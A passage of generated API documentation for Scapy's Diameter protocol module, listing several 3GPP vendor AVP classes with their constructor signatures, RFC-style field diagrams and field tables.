+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2066                        


AVP_10415_2066 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2068(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3112-L3116]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2068                        


AVP_10415_2068 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2118(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3119-L3133]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2118                        


AVP_10415_2118 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2203(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3136-L3139]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2203                        


AVP_10415_2203 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2204(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3142-L3146]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2204                        


AVP_10415_2204 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2206(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3149-L3153]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2206                        


AVP_10415_2206 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2208(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3156-L3160]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2208                        


AVP_10415_2208 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2303(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3163-L3166]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2303                        


AVP_10415_2303 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2308(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3169-L3173]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2308                        


AVP_10415_2308 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2310(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3176-L3179]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2310                        


AVP_10415_2310 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2312(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3182-L3186]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2312                        


AVP_10415_2312 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2313(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3189-L3192]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2313                        


AVP_10415_2313 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2317(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3195-L3199]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2317                        


AVP_10415_2317 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2318(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3202-L3206]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2318                        


AVP_10415_2318 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2322(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3209-L3213]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2322                        


AVP_10415_2322 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2323(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3216-L3220]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2323                        


AVP_10415_2323 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2500(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3223-L3238]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2500                        


AVP_10415_2500 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2507(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3241-L3246]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2507                        


AVP_10415_2507 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2508(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3249-L3252]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2508                        


AVP_10415_2508 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2509(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3255-L3259]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2509                        


AVP_10415_2509 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2512(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3262-L3276]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
